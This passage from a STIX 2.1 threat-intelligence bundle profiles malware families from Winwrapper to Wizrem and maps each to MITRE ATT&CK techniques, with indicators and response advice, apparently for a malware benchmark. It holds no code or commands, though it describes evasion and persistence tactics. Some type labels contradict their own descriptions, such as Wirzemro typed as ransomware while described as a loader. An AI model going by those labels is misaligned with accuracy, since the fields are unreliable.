      "id": "relationship--90fcbcbb-ece6-5438-b314-1b8406b7084f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb2931e0-6d6e-5ac0-b034-266cab5465a3",
      "target_ref": "attack-pattern--a0e01277-f7d6-5be2-950c-4bc96a414f00",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winwebsec exhibits technique T1546.012 (Event Triggered Execution: Image File Execution Options Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62685e14-2f54-540c-b1a8-a9d6aa153927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb2931e0-6d6e-5ac0-b034-266cab5465a3",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winwebsec exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5db2624-36ad-5fe7-adff-812a3b084415",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb2931e0-6d6e-5ac0-b034-266cab5465a3",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winwebsec exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8dabc572-1987-57f2-a11c-86fcf736fe06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb2931e0-6d6e-5ac0-b034-266cab5465a3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winwebsec exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b2995aea-3372-5e54-b12c-d75397cb08e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winwrapper",
      "description": "WinWrapper (cataloged by major antimalware vendors as PUA:Win32/WinWrapper, Adware.Win32.WinWrapper, and Trojan.Win32.WinWrapper) is a commercial pay-per-install (PPI) software wrapper, unwanted downloader, and adware bundler framework. Designed to monetize free software distribution, WinWrapper wraps legitimate open-source and freeware setup programs within a multi-tiered sponsored installer. During the setup process, it employs deceptive user interface designs, pre-checked opt-in boxes, and obscured disclosure text to silently install third-party advertising components, browser helper objects, search hijackers, and promotional toolbars. Once active on an endpoint, WinWrapper contacts remote affiliate tracking APIs to report installation telemetry, download secondary promotional payloads, and inject persistent advertising banners into web browsing sessions. (Observed samples in benchmark: 296)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/WinWrapper",
        "Adware.Win32.WinWrapper",
        "Trojan.Win32.WinWrapper",
        "WinWrapper.Installer",
        "Win32/WinWrapper.Bundler"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winwrapper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winwrapper"
        }
      ],
      "labels": [
        "pua_tool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb928ae9-3fbd-511c-8a44-9cf0477fc367",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2995aea-3372-5e54-b12c-d75397cb08e1",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winwrapper exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd5e2522-7518-51ad-884d-e11d72740f7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2995aea-3372-5e54-b12c-d75397cb08e1",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winwrapper exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d85528d-2b01-5803-87de-113bee67c10d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2995aea-3372-5e54-b12c-d75397cb08e1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winwrapper exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da160bfc-de70-5001-b1ce-b1f10ec876f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2995aea-3372-5e54-b12c-d75397cb08e1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winwrapper exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4c7c4f8-c1cd-57f4-af44-da1d4fb5bc65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2995aea-3372-5e54-b12c-d75397cb08e1",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winwrapper exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0c77b26b-cb08-5e45-b17b-ecef0cb34da8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wirelessnetview",
      "description": "HackTool:Win32/Wirelessnetview refers to the detection of a legitimate, dual-use network utility created by NirSoft. The tool is designed to monitor and display information about all wireless networks in range (SSIDs, MAC addresses, signal quality). However, it is frequently packaged by threat actors and used maliciously as part of a post-compromise 'Living off the Land' strategy for network discovery (`T1046`).<br><br><b>Understanding Wirelessnetview (Dual-Use Abuse)</b><br>To an end-user, there is no visible impact. For a SOC analyst, detecting a niche system administration tool on an endpoint where it doesn't belong (like a receptionist's laptop) is a massive red flag. Threat actors use tools like Wirelessnetview because they are digitally signed and often bypass strict AV rules, allowing the attacker to map the physical and logical network environment without deploying custom malware.<br><br><b>Execution and Discovery Mechanics</b><br>After gaining initial access (often via a trojan or phishing), the attacker downloads `wirelessnetview.exe`. They execute it, often silently via command-line arguments, to dump a list of all visible BSSIDs (routers) and SSIDs to a text file (`T1046`). This information is highly valuable; attackers can cross-reference the BSSIDs with public geolocation databases (like WiGLE) to determine the exact physical location of the infected endpoint, or identify poorly secured guest networks to pivot into.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a loss of operational security and enhanced situational awareness for the attacker. Host-based IoCs include the unexpected execution of `wirelessnetview.exe` (or a renamed version of the binary), often accompanied by command-line arguments specifying a text or CSV output file. The presence of the tool in temporary directories (like `%Temp%`) rather than a standard installation folder is highly suspicious. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wirelessnetview",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wirelessnetview"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2c931bc-a020-592d-b428-9008d7603a73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c77b26b-cb08-5e45-b17b-ecef0cb34da8",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wirelessnetview exhibits technique T1046 (Network Service Discovery (Using the tool to map wireless infrastructure))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2662665a-0fb5-5bb0-9c0b-ed8eb1158976",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c77b26b-cb08-5e45-b17b-ecef0cb34da8",
      "target_ref": "attack-pattern--65dfa49b-e0d6-54fa-8560-90461371ed29",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wirelessnetview exhibits technique T1016 (System Network Configuration Discovery)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--1e0ffd66-6000-5b81-b4bc-da6279804554",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1590.002: Gather Victim Network Information: DNS (Understanding the network layout)",
      "description": "MITRE ATT&CK Technique T1590.002 (Gather Victim Network Information: DNS (Understanding the network layout)) under tactic Reconnaissance.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1590.002",
          "url": "https://attack.mitre.org/techniques/T1590/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3381d28f-ca58-5d8c-bda5-88d84829cf0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c77b26b-cb08-5e45-b17b-ecef0cb34da8",
      "target_ref": "attack-pattern--1e0ffd66-6000-5b81-b4bc-da6279804554",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wirelessnetview exhibits technique T1590.002 (Gather Victim Network Information: DNS (Understanding the network layout))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--949949ac-57d4-5ed2-ade4-c31efa58e9ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wirzemro",
      "description": "Trojan:Win32/Wirzemro is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Wirzemro</b><br>To an end-user, a Wirzemro infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Wirzemro is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Wirzemro is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wirzemro frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wirzemro reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wirzemro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wirzemro"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b75320d0-5245-5d06-a654-acb839708f9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--949949ac-57d4-5ed2-ade4-c31efa58e9ba",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wirzemro exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88c26684-141b-5311-a7cb-75ca3236f829",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--949949ac-57d4-5ed2-ade4-c31efa58e9ba",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wirzemro exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eacbba3b-25e4-5e13-9ebb-fffe13700376",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--949949ac-57d4-5ed2-ade4-c31efa58e9ba",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wirzemro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75b11c8d-ad40-5ee0-88d4-82d2c733425e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--949949ac-57d4-5ed2-ade4-c31efa58e9ba",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wirzemro exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--985378e7-155c-5e73-8f0f-4ac5338114ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--949949ac-57d4-5ed2-ade4-c31efa58e9ba",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wirzemro exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c37dd34b-0394-5e7e-b180-e696048dbaab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wisbipuf",
      "description": "<h3>Executive Summary</h3>\n\"Wisbipuf\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file or network request that exhibits characteristics strongly associated with Domain Generation Algorithms (DGAs) or heavily obfuscated malware droppers.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Wisbipuf\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles or network requests flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>DGA Communication:</strong> The malware attempts to resolve DNS queries for long, random, nonsensical domain names. This is a common tactic used by botnets and trojans to locate their command-and-control (C2) servers while evading static IP blocklists.</li>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms, aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Injection:</strong> The program attempts to execute Windows APIs to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, a Wisbipuf alert is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed to establish a beachhead for a larger, targeted attack.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint from the corporate network immediately to halt the DGA communication and prevent the potential download of secondary payloads.</li>\n<li><strong>DNS Log Analysis:</strong> Analyze corporate DNS logs for the specific pseudo-random strings generated during the alert to identify other potentially compromised hosts beaconing to the same infrastructure.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Wisbipuf",
        "Heur.Wisbipuf"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wisbipuf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wisbipuf"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fe257d1-82b3-5780-831f-0e233e0ec891",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c37dd34b-0394-5e7e-b180-e696048dbaab",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wisbipuf exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed3993c2-4c64-5886-8cd0-3cdd94f10d39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c37dd34b-0394-5e7e-b180-e696048dbaab",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wisbipuf exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--661b6272-c31d-500f-bfd9-a2733089ccd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c37dd34b-0394-5e7e-b180-e696048dbaab",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wisbipuf exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--17d08870-03d1-5fd5-bb9c-9c801c15a82d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wisesystemmechanic",
      "description": "Rogueware:Win32/Wisesystemmechanic is a highly visible example of a 'Fake Optimizer' and registry cleaner. It operates entirely on a model of deception and extortion. Masquerading as a legitimate, high-end utility designed to clean the Windows Registry and drastically speed up the computer, its actual function is to generate fabricated, alarming error reports to scare the user into purchasing a 'premium' software license (`T1189`).<br><br><b>Understanding Wisesystemmechanic (Fake Optimizers)</b><br>To an end-user, the software creates immense anxiety, constantly displaying pop-ups warning that the computer's health is 'Critical' and that a system crash is imminent. For an IT department, Wisesystemmechanic is a nuisance that generates false helpdesk tickets. The software itself is largely useless, and its aggressive 'cleaning' routines can actually delete vital system registry keys, causing genuine OS instability.<br><br><b>Execution and Deception Mechanics</b><br>Wisesystemmechanic is heavily distributed via aggressive affiliate marketing, deceptive pop-up ads claiming the user's PC is slow, or bundled with freeware. Upon execution, it performs a rapid, animated 'scan' that is guaranteed to find thousands of 'critical errors' (which are usually just temporary internet files or completely benign registry entries). It establishes persistence via Scheduled Tasks (`T1053.005`) to ensure its scary warnings appear every time the computer boots. It often disables the Windows Task Manager to prevent the user from easily terminating its process (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial fraud (tricking the user into paying) and psychological manipulation. Host-based IoCs include the highly visible Wisesystemmechanic GUI, unexpected Scheduled Tasks, and unauthorized modifications to system policies restricting access to administrative tools. Network IoCs include constant connections to the software vendor's payment gateways. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wisesystemmechanic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wisesystemmechanic"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cec66ffb-4fed-5e79-b663-e4cc8eaa7d3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17d08870-03d1-5fd5-bb9c-9c801c15a82d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wisesystemmechanic exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce6d2d51-d452-53c5-b76e-37e88fc1d282",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17d08870-03d1-5fd5-bb9c-9c801c15a82d",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wisesystemmechanic exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a711bf0-338a-5c1b-b694-a4fdb81cb0ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17d08870-03d1-5fd5-bb9c-9c801c15a82d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wisesystemmechanic exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling taskmgr to prevent termination))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2600ec46-8182-5c30-a74e-e38ab39f93d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wizrem",
      "description": "Wizrem (cataloged across security vendors as SoftwareBundler:MSIL/Wizrem, TrojanDownloader:Win32/Wizrem, and Trojan:Win32/Wizrem) is a modular payload downloader and software bundler active since 2012. Developed in Microsoft Intermediate Language (.NET/MSIL) and Win32 C++, Wizrem acts as a stealthy initial access staging mechanism deployed by cybercriminals. Distributed primarily through deceptive freeware installers, unofficial game modifications, and cracked software portals, Wizrem executes silently in the background without standard graphical installation prompts. Once launched, the malware conducts host fingerprinting to identify virtualization and sandbox analysis environments. If normal execution conditions are met, Wizrem injects its communication routine into trusted system processes (such as explorer.exe or svchost.exe) and establishes encrypted C2 beaconing. The trojan retrieves secondary high-severity payloads\u2014ranging from search redirectors (SafeFinder, SnapDo) and invasive adware to banking trojans and ransomware droppers\u2014installing them covertly into %APPDATA% and %TEMP% directories. (Observed samples in benchmark: 162)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SoftwareBundler:MSIL/Wizrem",
        "TrojanDownloader:Win32/Wizrem",
        "Trojan:Win32/Wizrem",
        "MSIL/Wizrem",
        "SoftwareBundler.Wizrem"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wizrem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wizrem"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6084617e-13f9-5705-9c00-37548b398223",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2600ec46-8182-5c30-a74e-e38ab39f93d7",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wizrem exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e9a6a55-5729-5c24-9d01-8c848a732bc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2600ec46-8182-5c30-a74e-e38ab39f93d7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wizrem exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc1e8500-f99c-54ae-bf1c-e1c79cdec987",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2600ec46-8182-5c30-a74e-e38ab39f93d7",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wizrem exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1dc3c50-8ac6-5c45-803f-9de313e48a4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2600ec46-8182-5c30-a74e-e38ab39f93d7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wizrem exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d04d590b-7351-57ac-9595-5d6eac6393a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2600ec46-8182-5c30-a74e-e38ab39f93d7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wizrem exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--963d3bb5-efa7-5a37-bf55-75d930a250b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wizzmonetize",
